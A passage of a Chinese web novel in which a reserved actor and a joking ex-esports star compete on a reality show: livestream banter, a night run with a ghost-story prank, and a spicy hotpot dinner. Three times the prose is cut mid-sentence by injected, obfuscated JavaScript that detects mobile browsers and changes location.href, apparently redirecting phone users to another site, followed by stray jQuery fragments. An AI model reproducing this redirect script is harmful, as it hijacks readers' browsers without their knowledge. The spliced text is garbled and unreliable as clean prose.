这种令人舒适的安静持续了很久,直到化妆间的门被人从外面“咔哒”一声打开——
有人进来了,还带了自己的跟拍VJ和FPD。
R&B的旋律被杂声盖住,乱七八糟的脚步声靠近,江南岸才终于睁开眼睛。
对面的化妆镜映出了房间内的画面,江南岸刚睁眼就看见镜子里冒出一张十分欠抽的脸。
江南岸还看见他手里拿了一部手机,如果没记错的话,选手的个人手机应该在今天录制开始的第一趴就上交了才对。
所以江南岸悄悄拉了一下妆发老师的衣角:
“老师,我要举报,有人窝藏赃物。”
“哎,谨言慎行啊,这可是金主爸爸的赞助!”
言戒举着手机解释一句,而后看着屏幕笑道:
“看见没?你们让我来找他,结果话都没说一句先给我扣个罪名,我可真是太冤了!”
听见这话,江南岸微一挑眉:
“你在直播?”
“嗯啊。”
“PD不是说明天才有直播?”
“嗐,非正式的小彩蛋嘛。”言戒顿了顿,看了眼弹幕:
“问小山今天好不好看?等着,我帮你们看看啊。”
这句话说完,言戒重新将视线投向江南岸,似乎认真地顺着他扫了一眼,而后,眸色微微一动。
A班的班服以红色为主,黑和白做点缀,T恤和外套的设计张扬又漂亮,正红色衬得江南岸整个人白到发光。他化的妆很淡,完全凸显了他五官原本的优势,可能是为了呼应服装的颜色,妆发老师给江南岸加了几缕假发片,红色假发丝藏在黑发里若隐若现,代表热情的红色和江南岸的清冷气质中和,居然也达成了一种微妙的平衡。
对上他抬眸略显疑惑的眼睛时,言戒居然有一瞬的出神。
“好看——”
不过他很快就收回视线,直起身子,语气吊儿郎当地跟水友们闲侃:
“我发现你们眼光还是挺到位的哈,小山老师确实好看,真的,多好看?哎呀,在我见过的人里排第一吧,今天这妆造格外好看。啊?你们也想看?”
言戒轻笑一声,故意问江南岸:
“让看吗老师?”
江南岸透过镜子看看他,又看看他的手机镜头:“随便。”
“他说可以看,高不高兴激不激动?”言戒弯起眼睛,话音一转:
“诶,但我不给你们看!”
江南岸微一挑眉,有点意外地看了他一眼。
“为什么不给看?没有为什么,留个悬念。急什么?节目播出不就能看了?不一样,有什么不一样?你想他了?没事再想一会儿,小别胜新婚,明天早晨九点钟锁定猫爪TV《燃烧永恒》节目专区,点开江南岸老师的个人专属直播机位,包你看个够啊!行,走了,下一个看谁?小山还没看?我看了啊!你们没看?那我不管。非要看?不好意思,镜头在我手里,诶,对,我就是坏!我是一个迷人的坏男人,我叫Spring,让我听到你们的尖叫好吗?”
言戒带着他的VJ和PD,嘴里跑着火车走远了,江南岸下意识追着他身影看了一眼,旁边的妆发老师立马惊呼一声:“等等,别动亲爱的,马上就好了。”
江南岸乖乖应了一声,重新闭上了眼睛。
但没一会儿,他又听见脚步声似小跑着由远至近,他再次睁开眼睛,就见言戒拿着手机去而复返,过来时什么都没说,只在他面前的化妆桌上放了什么东西。
等言戒把手撤回去时,江南岸才看清,他放在桌上的是一颗带着粉红色包装纸的草莓牛奶糖。
而言戒什么话也没说,只回头看了他一眼,冲他弯起眼睛,没个正形地朝他打了个响舌,又小跑着出去了,衣摆扬起时像一团火。
妆发老师很快完成了她的工作,江南岸听她说可以了,便起身准备离开化妆间,但刚走出两步,妆发老师又突然叫住了他:
“江老师,你的糖没拿。”
江南岸回头看了一眼,就见那颗草莓糖乖乖躺在桌上,被化妆桌的灯光打出一小片淡淡的投影。
他迟疑几秒,收回了视线:
“我不吃糖,你拿着吧。”
-
《燃烧永恒》是录播直播双形式播出,直播会在节目正式录制的第二天开始,主要是为观众展示选手在节目里的训练生活,每位选手都会在猫爪TV开启自己的专属机位,主打就是展示自己最真实的状态。
齐虹让江南岸来参加这个节目的目的也在这,到时候这节目的直播一挂大半天,只要江南岸稍微乖一乖演一演克制克制,把他的清冷人设坐坐稳,那以后谁还能拿之前的人设风波说事?直接直播回放甩在他们身上让他们没有底气!
她觉得未来一片光明,江南岸也答应了她要稳住并相信自己能够做到,但等第二天早晨他一进A班教室,看见自己的机位旁边紧挨着的名卡是“Spring”,他就觉得大事不妙。
也不知节目组是不是了解过之前的风波,故意整这出非要把他俩凑到一起制造话题。
但现在临时换位显然已经不可能了,他只能硬着头皮先坐下。旁边的工作人员见他到了,赶紧上前替他打开直播。
江南岸之前因为人设风波的事已经有很久没出现过了,粉丝们嗷嗷待哺就等着看新鲜的活着的小山老师,昨夜Spring还横插一脚吊足了胃口,因此今天一大早就有好多人守在了直播通道,真粉丝和看热闹的吃瓜群众都有,硬生生在刚开播时就把直播间顶到了热度榜。
-啊啊啊啊第一!!老婆我好爱你好想你!!!
-拒绝泥塑哈!老公我也爱你!!
-宝宝宝宝宝宝你是最漂亮最可爱最萌萌的宝宝!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14100168|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>-刚睡醒吗老公看起来好迷糊!
江南岸被满屏弹幕震惊了一下,之后工作人员帮他调好设置,他才能从屏幕里看清自己的脸。
“嗯,刚睡醒。”常规训练日,江南岸没有化妆,连头发也没有整理,只有些凌乱地散在脸颊边。
大概是觉得散着头发有些碍事,他从外套的衣领上取下一只抓夹,随便撸了两把头发,把发丝抓在了脑后。
“哟!吊老师早上好啊,这都播上了?”
背后突然出现了言戒的声音,江南岸回头看了他一眼,冲他点点头:
“早。”
“早上吃了没您?”
“没有。”
“我想也是,都没在餐厅看见你,怎么不吃?难不成喝过露水和花蜜了?”
“起晚了。”江南岸十分诚实。
-宝宝你是个迷糊宝宝。
-不可以老公,早餐要好好吃!
-附议附议!!早起工作已经很辛苦了,早饭不能不吃!
“你粉丝说得对啊。”
言戒掏掏兜,变魔术似的从口袋里摸出一包小饼干:
“无糖的,凑合吃,哎蓝儿?”
inBlue在他旁边应了声:“干嘛?”
“刚那盒牛奶征用一下。”
牛奶盒被扔到言戒怀里,他说了句“谢了”,随手把牛奶和无糖小饼干放在一起给江南岸推了过去:
“吊老师您请。”
江南岸看看他,又看看小饼干和牛奶,迟疑两秒,还是拿起了Spring老师友情赞助的食物。
现在还没到正式上课时间,选手和教练都没到齐,工作人员还没调试好言戒的直播设备,反正闲着没事做,言戒就瞥两眼江南岸这边的弹幕。
-宝宝好乖5555吃饼干也这么乖我亲亲亲亲死你!!
-楼上你克制一点(你亲完能不能让我亲亲?
-让Spring亲!!!我靠泊船瓜洲真的是真的吧?一大早就给我吃这种糖???
-小山主场,CP粉滚!
-别蹭热度了老哥……这人谁啊……昨天就凑在小山身边……
-前面的知道你Spring爹是谁吗?你春爹的热度需要蹭?梦没醒?
-有病吧,小山不能有朋友吗?朋友正常互动而已哪里蹭了?能看看不能看滚少给小山招黑哈。
-只有我好奇为什么要叫吊老师吗?难道……?
-别提哈,为小山好。
-懂。
“……”之前人设风波中一直有个点只是猜测而未被网友石锤,那就是“快把我吊死吧”这个账号到底是不是江南岸本人。
网友可以各种怀疑,但江南岸这边坚决不能承认。本来这事已经没人讨论了,江南岸自己都快忘了,谁知道言戒就这么水灵灵地把这名字喊了出来,现在被弹幕一提他才想起来这茬还有个坑。
江南岸不知道怎么解释,但问的人越来越多,他总不能当没看见,只能把这个问题抛给言戒。
于是他吃着小饼干,冰冷地望向始作俑者:
“是啊,为什么叫吊老师?”
言戒动作一顿,跟江南岸对视一眼再联系上下文就知道自己似乎也许大概坏了事。
为掩饰自己的尴尬,他十分生硬地伸了个懒腰,一边大脑飞速运转。
“嘶……吊老师?不,当然不是那个吊老师,别瞎猜。哎,起这个名字吧,主要是因为,小山老师这个人吧,特别自由,特别向上,特别励志!所以每次见他我都特别想为他献上一句……”
江南岸面无表情盯着他,就看他能编出什么狗屁。
而言戒靠在椅子上安静望着他,片刻,他手握成拳举到嘴边做麦克风状,突然闭眼陶醉地唱出一句:
“你是阿刁!你是自由的鸟——”
“?”
15.有幼稚鬼!
言戒直播间的可怜水友们刚进来就听见这么一句天籁,暴击之下纷纷刷起问号。
-?
-进错直播间了?这是燃烧永恒还是歌王争霸?
-抬举他了哈,这是鸡叫比赛。
-你能不能给哥们整点好节目?他妈的一大早守着直播来给你脸不想让我们电竞圈输给娱乐圈,结果你就他妈的用你那鬼哭狼嚎迎接你爹???
-老公唱得好好听5555隔壁邻居来敲我家门让我大早上别玩尖叫鸡,我一把就把他拉进来让他听我老公唱歌,他听完后连连道歉最终含泪咬舌自尽,家人们我做得对吗?
-你也没放过他。
-走了家人们,这里有傻逼,上隔壁看inBlue去!
-再见S属性大爆发,美好的一天从看见你的这一刻终结。
被吓到的不止直播间水友,还有刚进训练室的A班教练橙花:
“春狗你一大早起来又在犯什么病?人家说男人至死是少年,你这人是至死都神经。”
江南岸听见这话,咬饼干的时候没忍住扬了扬唇角。
他迅速吃完手里这块小饼干,认真把包装袋叠叠整齐装进口袋里,坐直了身子,一副等待老师上课的好学生姿态。
言戒在旁边翘着二郎腿,一副大爷样:
“怎么着,你小子不满意?”
橙花走过来,笑着用手里的文件夹拍了一下言戒的肩膀,撑着他的座椅靠背站在了他和江南岸中间:
“怎么跟教练说话呢?小春选手?”
江南岸偏过头看看言戒,又看看橙花。
他当初接下那部电竞剧后,为了贴近角色做过很多功课,不仅苦练游戏还了解了很多电竞选手,包括眼前这位橙花。
橙花是当年SG战队的中单,跟Spring关系很好,后来Spring离开了赛场,他则留在战队继续自己的电竞梦,退役后也没离开这个行业。曾经的他被称作峡谷最强中单,如今亦是圈内最年轻的冠军教练,光环满身。
“来之前也没人跟我说教练是你啊。”言戒跟橙花碰了碰拳,又抬手指指身边的江南岸:
“昨儿我们小江老师那手中单看见没?厉不厉害?”
“?”江南岸见鬼似的瞅了言戒一眼。
“看了,玩得真不错!意识也到位。”橙花一点不吝啬自己的夸奖。
听了这话,言戒屈指叩叩桌面,姿态像个玛丽苏小说里的霸道总裁,一抬手就是指点江山:
“那就好好教人家,啊,小江,你也跟我们峡谷最强中单好好学,争取出去后能当个……”
言戒话音一顿,紧急扫了演电脑旁边的节目LOGO贴纸:
“燃……烧永恒最强中单!”
-节目组电话在哪?这有人连节目名都没记住,打出去。
-金主爸爸你看他啊——
言戒扫了眼弹幕,笑着抬手做了个噤声的手势。
-
A班十个人的游戏水平就算在烈焰圣杯所有玩家里也是属于中上游甚至顶尖的那批,强的有Spring蔡征这种顶级打野,在班里相对较弱的也是江南岸和潇洒哥这种大师段玩家。因此A班教练上起课来要比其他班省心很多,并不用费劲从基础教起,只在第一天系统讲了一下峡谷环境信息和各种基础数值,余下的时间基本都在实战复盘无限循环。
但说实话,游戏这种东西,闲了玩一玩是一种乐趣,可要是一天到晚当完成任务似的时时刻刻在峡谷征战,那可就一点意思都没有了。
好在江南岸完全把这当做一份工作,而他是个敬业的打工人,每天早晨九点钟准时上班,在直播间水友的监督下单排双排班内对抗战,听教练上课复盘……晚上到点下班就关直播走人,回房间休息洗澡看看书开启属于自己的闲暇时间。
“滴——”
又一天入夜,有人从外面刷响房卡,江南岸都不用抬眼就知道是盛豫加回来了。
毕竟身在B班的盛豫加远没有他悠闲,每天晚餐后都得加练。
“回来了?”江南岸随口问候一句。
他和盛豫加都属于话不多的人,平时在宿舍也不怎么交流,多数时间都是各干各的,相处十分和谐。
“嗯。”盛豫加重重叹了口气,边走边扒了B班的橙色外套,像一具死尸一般直挺挺倒在了床上。
“训练很累?”看见他这状态,江南岸没忍住问。
“累。”盛豫加声音闷闷的,回头看江南岸一眼,发现他身上不是睡衣,而是一身运动装:
“去夜跑?”
“嗯。去吗?”
“不了,在峡谷跑够了。”
“这么夸张?”
“嗯,教练很严格。”盛豫加摊平片刻,慢吞吞从床上爬起来:
“你们A班怎么样?”
“还行,还有跑步的力气。”江南岸如实答。
听见这话,盛豫加笑了两声,朝他摆摆手,意思大概是“再见”。
江南岸装好房卡从寝室出去,打算像往常一样,下楼在园区里跑一跑。
时间挺晚了,工作人员大多都回去休息了,选手们要么在寝室要么在训练室,楼内走廊里空荡荡没什么人,只有头顶冷光灯安安静静亮着。
江南岸顺着楼梯往下走,依稀听见身后楼梯间外有脚步声经过,也没怎么在意,可那脚步声走远些又退了回来,而后紧跟着一句有些意外的:
“吊老师?”
江南岸回头看了一眼,果然见言戒趿拉着拖鞋慢悠悠晃过来,趴在楼梯扶手的拐角处自上而下望着他:
“大晚上的干嘛去?”
“跑步。”
“跑步?你还会跑步呢?”言戒是真挺意外。
“?”江南岸微一挑眉:
“我还会打架,你想不想见识一下?”
“不敢不敢。”言戒失笑。
在他心里,江南岸的形象大概是那种浑身上下都用水晶打的漂亮小王子,娇滴滴的磕不得碰不得,下个车都得专人拉车门铺地毯撒花瓣再鞠躬恭恭敬敬来一句“少爷您请”的那种,毕竟这人皮肤白看着还瘦,多晒会儿太阳好像都得晕,言戒确实没想到他还有锻炼的习惯。
他打量一眼江南岸,见他把头发绑起来了,身上是一套白色的运动装,瞧着还怪利落:
“人家都晨跑,你怎么跑上夜跑了?”
“早上起不来。”江南岸十分诚实。
言戒又乐了。
他点点头:“能等我五分钟吗?我回去换身衣服。”
“干嘛?”江南岸警惕地盯着他。
“想跟吊老师一起跑步。”言戒扬唇露着他那颗犬牙,看着吊儿郎当:
“求求你了,小春这辈子就这么一个愿望,老师,等等小春,别让小春含恨而终。”
江南岸面无表情,挣扎片刻,他伸出三根手指:“三分钟。”
言戒立马直起身:“得嘞!”
言戒一溜烟跑了,三分钟后准时换身衣服跑了回来:“走吧老师?”
两个人从主楼出去,沿着园区的绿化带一路慢跑。
这片影视园区挺大,植物很多,道路两边隔一段距离就有路灯亮着。初秋夜晚的小虫围在灯光旁一下下往灯泡上撞着发出轻响,偶尔有晚风路过,有点凉,还带着植物和泥土特有的清新味道。
言戒跟在江南岸身边慢慢跑着,片刻,他侧目借着头顶昏黄的路灯看了他一眼,突然问:
“哎吊老师,你为什么来录这节目啊?”
现在身边没有摄像机和各种各样的工作人员,江南岸和言戒身上也没有麦克风随时记录他们的对话,这是难得的私人时间,独属于自由和真实。
江南岸抬头看了眼天空的星星,答:
“经纪人让我来。之前闯祸了,来这上个真人秀挽回一下。”
“啊?就之前那事儿啊,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14114970|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么严重呢?”
“嗯。”
“你们娱乐圈规矩忒多。”言戒感叹一句,又问:
“所以那天到底怎么回事儿啊,怎么就上起大号了?”
江南岸现在想起这事都觉着无语:
“……那天喝酒了,脑子不清醒,没注意你那链接是其他App的,点了就直接跳过去了。”
“然后呢?那里边登的是你大号,评论发完也没发现?”
“嗯。平时不开那个软件,只有工作需要的时候会上去发些东西,后台挂的就一直是大号。那天……本来没想参加你那比赛,但你评论区那些文字太一般了,我想着既然你邀请了那就给你露两手吧,太困了点了发送就睡了,第二天醒来,人就已经在热搜上挂着了。”
言戒朝江南岸抱拳以表歉意:“我的错!下次转发的时候一定给你标注一下,‘站外链接,红色警告,注意切号’。”
“还有下次?”江南岸没好气地瞥了他一眼,顿了顿,又问:
“你呢?”
“我?”
“嗯,你为什么来这个节目?”
提到这个,言戒弯起眼睛冲他笑了一下:
“为你啊。”
江南岸不屑地嗤笑一声,显然没在信。
“别不信啊吊老师,我可是你影迷。”言戒半真半假道:
“本来人节目组叫我我都不来的,结果听说选手有你,我一想,那不行啊,我们吊老师在电影里那么好看,粉丝又说真人更好看,那我既然有这个机会,怎么说都得跑来看看真的吧?这不就屁颠儿地来了。”
“现在看见了?”
“是啊,果然没被骗,真的确实比电影里好看。”
江南岸点点头,回敬一句:“你也比直播里更不要脸。”
“哟,还看我直播呢?你不会也是我十年老粉之类的吧?”
言戒故意用肩膀撞撞他:
“别害羞啊,爱就大声说出来!喜欢我你无需自卑!”
“……”江南岸翻了个白眼,加速跑到了前面。
前面一段路的路灯似乎坏了,路面漆黑一片,言戒跟了上来,倒没再油嘴滑舌,只是在安静一会儿后,突然低声神神秘秘地问:
“哎吊老师,你来之前有没有听说过这儿的传说?”
“什么?”
“这地方闹鬼,你不知道啊?”
“我是个坚定的无神论者。”江南岸确信。
“真的?我也是听工作人员讲的。我跟你说啊,就咱眼前这段路,为什么没有灯?因为这灯装几次就坏几次,永远亮不了。曾经有其他节目的工作人员加完班大半夜走这条路,走着走着,越走越觉得阴森,心里正毛着呢,你猜后来怎么着?他突然感觉身后有人拍他的肩膀!他奇了怪了,不对啊,这路上就我一人儿啊?然后鼓起勇气回头一看,就见……”
“……”尽管江南岸不信鬼神,但在这种氛围里听这种故事,还是忍不住起了一身鸡皮疙瘩,只想尽快听到结局。
但言戒这人实在太会卖关子,故事讲一半就没声了,他等了一会儿,终于忍不住问:
“然……”
他才问出一个字,话音未落,下一秒突然感觉自己的左肩被人轻轻拍了一下!
可言戒分明一直跑在他的右边。
江南岸联想到刚才的故事,立马寒毛直竖,下意识朝左边回头看去,却见自己身后漆黑一片,哪有什么……
“哈哈哈哈!!!”
右边传来某人开朗的笑声,江南岸空白几秒,意识到自己这是被耍了。
他愤怒地回过头,只见言戒早已撒丫子跑到了前面去,边跑还不忘回头挑衅:
“吊老师!腿那么长加油跑啊!!动起来!!来打我快来!!!”
“言戒!”
江南岸想把鞋子脱了丢去砸他的头,又怕他抱着鞋子溜烟跑了:
“你神经病啊?!!”
16.有人使坏!
两个人追着闹着在园区里跑了两圈才往回走,进楼前,言戒伸了个懒腰,随口问:
“哎,吊老师过来录这节目,心里有没有过什么目标?”
“目标?”江南岸微一挑眉。
“嗯啊,比如拿个冠军,捧个杯什么的。”言戒看着他。
“……”江南岸迟疑一瞬,摇摇头:
“没有,快点把我淘汰就行,最好第一轮就走。”
言戒有些意外:
“来都来了,人都站这儿了,不想赢一回啊?”
“这里又不属于我。”
江南岸拍拍言戒的肩膀,语气变得十分官方,棒读道:
“还是你赢吧,你值得,加油。”
“虽然你后半句十分真诚万分正确,但我还是想说,没什么属不属于你的我的,既然在这了,那眼前一切就是咱的。有些话别说那么早,你还没正儿八经体验过比赛呢,说不定我们吊老师一站上赛场就燃烧了呢?”
言戒把手伸到江南岸眼前,晃晃五指给他比了个火焰燃烧的动作:
“反正我十几岁刚入行的时候,说实话带着点跟家里赌气的成分,但后来往台上一坐就什么都不想了,就只想赢。”
听他这样说,江南岸微微一愣。
他下意识张张口,似乎是想顺着这话问些什么,但迟疑片刻,最终还是没有出声。
二人在楼梯口分别,言戒哼着歌回了房间,回去时inBlue正叼着棒棒糖歪在床上玩游戏机,听见有人进来连眼都没抬,只懒洋洋招呼道:“回来了?”
“是啊。”言戒脱了身上的薄外套,随便往边上一扔,到桌边给自己倒了杯水喝:
“你说你这小年轻,叫你出去运动也不去,就知道躺床上打游戏,这是年轻人该有的精气神吗?!你肩上有国家和民族的未来懂不懂?”
“滚吧你,大半夜的没兴趣看你开屏。”
inBlue瞥了他一眼:
“玩开心了?”
“那可不。”
“我要是江南岸我都烦死你了,怎么成天追着人家逗啊。”
“怎么说话呢!他刚才还祝我成功夸我人间最值得,怎么会烦我?你这是胡说八道,我要告到中央!我要告到中央!!”
“我赌一毛钱原话肯定不是这样,至少得在此基础上再添加十倍的嘲讽和阴阳怪气。春老师不要再给自己耳朵加滤镜了好吗?好的。”
“哈哈哈……没办法,他太好玩了。”
言戒笑了两声,又像是想起了什么,突然问:
“哎对了蓝儿,你知不知道他以前干什么的?”
“?”inBlue没明白他这话什么意思:
“他不是演员吗?除了演戏还干什么?”
“他跟你差不多大吧,不也就二十二三岁大学刚毕业的年纪?我意思他是哪儿人,之前在哪上学之类的。”
“你问我?”
“嗯啊,我不关注这些嘛。”
“我也不了解这些……公众人物的经历又不是秘密,你要好奇上网一搜不就出来了?”
言戒摊摊手:
“没手机。”
“……”
有道理。
inBlue为他在脑中搜刮许久:
“我还真不太清楚,反正我姐挺喜欢他的,经常看他的剧和电影,其他没什么印象了,我就记得他一直挺火的,火了挺多年,感觉我好像十六七岁那阵就在听他名字。”
言戒若有所思地点点头。
inBlue看了他一眼:
“你要实在好奇,区区没手机的困难能挡得住你?现在左转下楼去训练室开个电脑打开浏览器搜一搜不完了?”
闻言,言戒扬扬眉,伸了个懒腰,倒在了自己床上,并没有采纳他的建议:
“算了吧。”
“想知道但也没那么好奇?”inBlue还是太了解他了,轻笑一声:
“德行。”
-
【A-蔡征击杀了A-江南岸】
……
【A-Spring击杀了A-潇洒】
【A-Spring击杀了A-inBlue】
【A-Spring击杀了A-芳菲】
【A-Spring击杀了A-蔡征】
【Quadra Kill!】
……
【Victory!】
“我靠,春哥,你是真不当人,他们三个围杀你中单你找他们三个报仇不就完了?你先拿我祭天几个意思?!”
A班内战结束,潇洒从隔壁训练室回到A班教室,刚进门就逮住言戒崩溃质问。
言戒躲开他伸来索命的手并跟他击了个掌:
“看见你了跟你打个招呼呗,谁知道潇洒老师那么脆,上一秒Say hi下一秒Good bye!”
“我可去你的吧。”
潇洒趴到言戒的椅背上,看看旁边座位上正盯着屏幕检查结算界面的江南岸:
“这A班真是卧虎藏龙,又是冠军打野又是路人王又是技术主播又是半职业的,哪哪儿都在神仙打架,还老让我们俩凡人中单遭殃,谁来都能照着我俩扇两巴掌,是吧江老师?”
江南岸点点头,深以为然,抬起两只手比划一下,淡淡道:
“该跟策划建议一下,明天开始在中路立个牌子,‘Spring与野怪不得入内’。”
Spring本人可不乐意了:“老师你这么说可伤我心了,小春做什么让你厌弃的事了?小春明明都在为你抛头颅洒热血!潇洒那横死七次不是我抓的啊?站你坟头痛哭赛博飞升一穿四的不是我啊?怎么一转头就变成坏打野连中路都不配进了?”
江南岸默默看着他表演,边动动鼠标关掉游戏客户端和电脑主机,手撑在桌边用力一推把自己连人带椅子往后滑了一截:
“下次路过中路别朝我跳舞,可以考虑撤回对你的控诉。”
说完江南岸从座椅上站起身,拎起椅背上挂着的班服外套,看样子是准备下班了。
言戒赶紧叫住他:
“哎吊老师,下班啦?晚上跑两圈不?”
江南岸回头他一眼,刚准备说什么,却突然听见训练室的门被人敲响。
工作人员带着摄像老师站在门口:
“老师们现在方便去餐厅吗?我们今晚为大家准备了一次小团建。”
听见这话,潇洒差点从地上蹦起来:
“是不是火锅?真有火锅?!小蓝刚在走廊里说闻到火锅味了,我还说那是他思念成疾产生的幻觉!合着真有啊?!”
选手们入营也有半个月了,虽然餐厅阿姨做饭很好吃,但吃久了就总觉得嘴里少点带劲的硬菜,比如火锅。兴奋如潇洒在工作人员那里得到肯定的回复后直接就撒丫子朝餐厅去了,喜悦之情溢于言表。
江南岸心里倒没有太大波澜。
也不是对火锅有什么意见,只是在下班后录制团建占用了休息时间,这属于加班,他相信正常人类都不会对“加班”两个字有什么好脸色,尤其这加的还是晚班。
但作为一个敬业的打工人,该配合的还是得配合,积
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14125931|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不积极那另说。
等江南岸和言戒两个人慢悠悠晃到餐厅时,节目组ABC三个班加各班教练们都差不多到齐了。
工作人员把餐厅的那些小桌拼成了几张大桌,每张桌上都摆满了菜品和不同口味的火锅,清汤菌汤番茄麻辣变态辣一应俱全,选手们可以按口味自行落座。
几张桌子有的已经坐满了,有的却只坐了零星几个人,江南岸大概扫了一眼,发现最冷清的桌上目前只有两个人,分别是inBlue和橙花。
团建这种事情注定会有热闹的聊天互动,江南岸向来不喜欢往人多的地方凑,现在放眼望去每张桌上都有陌生人,只有inBlue和橙花是他相对熟悉的,因此他想也没想就朝那桌去了。
言戒跟在他身边,看着他的选择瞳孔地震。他当时可能是想说什么,但又没能开口,只在原地目送江南岸走出几步,自己挣扎数秒,最终以舍命陪君子的气势跟了上去。
落座之前,江南岸完全没意识到事情的严重性,他远远看着锅里汤底,只以为这桌是普通的麻辣锅,但等坐下定睛一看才发现这锅好像红得都有点发黑。
所以不被选择果然是有原因的吧?
迟疑片刻,江南岸微一挑眉,问:
“这是什么锅?”
inBlue正用勺子搅着汤底,用一种十分风轻云淡的语气答:“变态辣啊。”
“?”江南岸看看他,又看看旁边的言戒。
言戒看懂了他的眼神,也觉得离谱:
“合着您没看见这桌边儿写着变态辣啊?我以为您就好这口呢直挺挺就来了。”
“……”江南岸又看看其他几桌,目光在谈笑风生的陌生人和红到发黑的索命锅底间游移数秒,最终还是觉得被辣椒折磨比不上被迫营业的折磨,于是叹了口气,彻底放弃了挣扎。
inBlue不了解江南岸的口味,但他了解言戒,当即就开始质疑他的选择:
“你能吃变态辣啊就学人往这坐?”
“怎么不能?”言戒不服气了,开始打感情牌:
“这桌儿有我老战友,有我好弟弟,还有我们吊老师,别说这锅里下着变态辣,就是下着刀片,我也得给他硬着头皮吃了!”
inBlue立马举手:“哎导演老师这有异食癖要吃刀片来给整两片!”
江南岸漫不经心听着他俩互动,抬眼时,他偶然看见了刚进餐厅的盛豫加。
盛豫加瞧着中间那热热闹闹的几桌显然也在迟疑,直到对上江南岸的视线,他才坚定了自己的选择朝这边走来。
盛豫加这大i人显然也不太适应这种团建氛围,坐下后,他用手搓搓大腿,朝桌上另外几位点点头:
“你们好,盛豫加,B班的。”
桌上除江南岸之外都是开朗热情的性子,言戒inBlue和橙花分别跟他介绍了自己,而趁他们互相认识的时间,江南岸拿着公筷挑了片肉卷浸在锅里涮涮,等肉卷熟透后,他直接把它夹进了盛豫加的碗里。
盛豫加对他这举动有些意外,可能是不知道自己这位清冷的朋友今日为何如此贴心,望向他的目光都带着一丝受宠若惊,一句“谢谢”过后没有一丝迟疑,直接就把那块肉夹起来送进了嘴里——
吃的时候有多利索,几秒后红着眼睛找饮料的模样就有多狼狈。
他倒吸着冷气,连灌几口冷饮后才想起来问:“……这什么锅?”
江南岸唇角勾起了一个疑似笑容的弧度,不过很快就变回了冷冷淡淡一本正经的模样,轻咳一声答:
“变态辣。”
“。”
17.有地狱话题。
大家伙忙着火锅忙着闲聊,没人注意角落里使了坏还偷笑的小山老师,他唇角那点弧度,估计只落进了言戒一个人的眼睛里。
他眼底微微噙着点笑意,片刻才当做无事发生一般移开了视线。
旁边,盛豫加又猛灌了小半瓶牛奶才缓过劲来,他吸吸鼻子,眼眶里都是生理性的眼泪。
江南岸看他这可怜样,善良发问:“要换桌吗?”
“……”盛豫加看看他,又看看聊得热火朝天的其他几桌,内心挣扎许久,最终还是认命般叹了口气:
“算了。能吃。”
江南岸点点头,又不自觉弯了下唇角。
好巧不巧,言戒又瞥见了他这点笑意,他也跟着扬扬唇,倾身稍微靠近了点,用只有他们两个人能听见的声音道:
“别光顾着笑别人,吊老师,这变态辣你能吃啊?”
江南岸微微眯起眼睛盯着他,那意思大概是“你在看不起谁”。
对视片刻,江南岸突然站起身,径直走去旁边的饮料区,拿回来三瓶草莓酸奶。
言戒原本以为他这是解辣用的,刚想说牛奶解辣比酸奶好点,但还没开口,就看江南岸拿过面前的空碗,拧开瓶子把酸奶倒进了碗里。
紧接着,言戒就看见了自己从未设想过的一种可能性——
江南岸把刚从锅里捞出来的肉卷直挺挺泡进了冰镇酸奶里,等酸奶裹满肉卷的每一寸,他把肉卷捞了出来,没有一点犹豫地送进了口中。
……?
???
言戒很难形容自己看见那一幕的心情,他觉得这个画面恐怕会让他毕生难忘。
他大脑一片空白,就那么看着江南岸慢条斯理地嚼完了肉卷,喉结微微一动,把变态辣蘸草莓酸奶这等魔鬼料理咽了下去,然后平静地看向他,问:
“怎么不能吃?”
震撼。
太震撼了。
胜负欲居然能驱使人类做出此等逆天而行之事吗?
在言戒钦佩震撼百感交集之时,江南岸又涮好了一片毛肚。
这回,有其他人看见了他反人类的操作。
inBlue的声音都变调了,他盯着江南岸筷子上那片裹满酸奶还依稀可见草莓果粒的毛肚:
“你在对这片毛肚做什么?我不允许有人这么对待毛肚??”
“对不起,毛肚。”江南岸认真对毛肚道歉,然后一口吃掉了它。
言戒一开始还以为江南岸是在嘴硬,以为他只是想跟自己证明一下他可以吃变态辣,但后来他发现事情不对劲,因为江南岸好像真的觉得这种吃法没问题并且打算一直这么吃下去,这令他对自己的信仰产生了一点怀疑:
“这……真的好吃吗?”
“不好吃啊。”江南岸眨了下眼,承认得十分痛快。
“那你还这么吃?不行咱换桌去番茄吧,我陪你?别折磨自己亲。”
“不好吃又没关系,能吃不就行了?吃饭的目的不是填饱肚子?”江南岸淡淡答。
言戒没话了,他点点头,佩服得五体投地,即便他无法理解江南岸的思路,但还是真情实感地为他比了个大拇指——
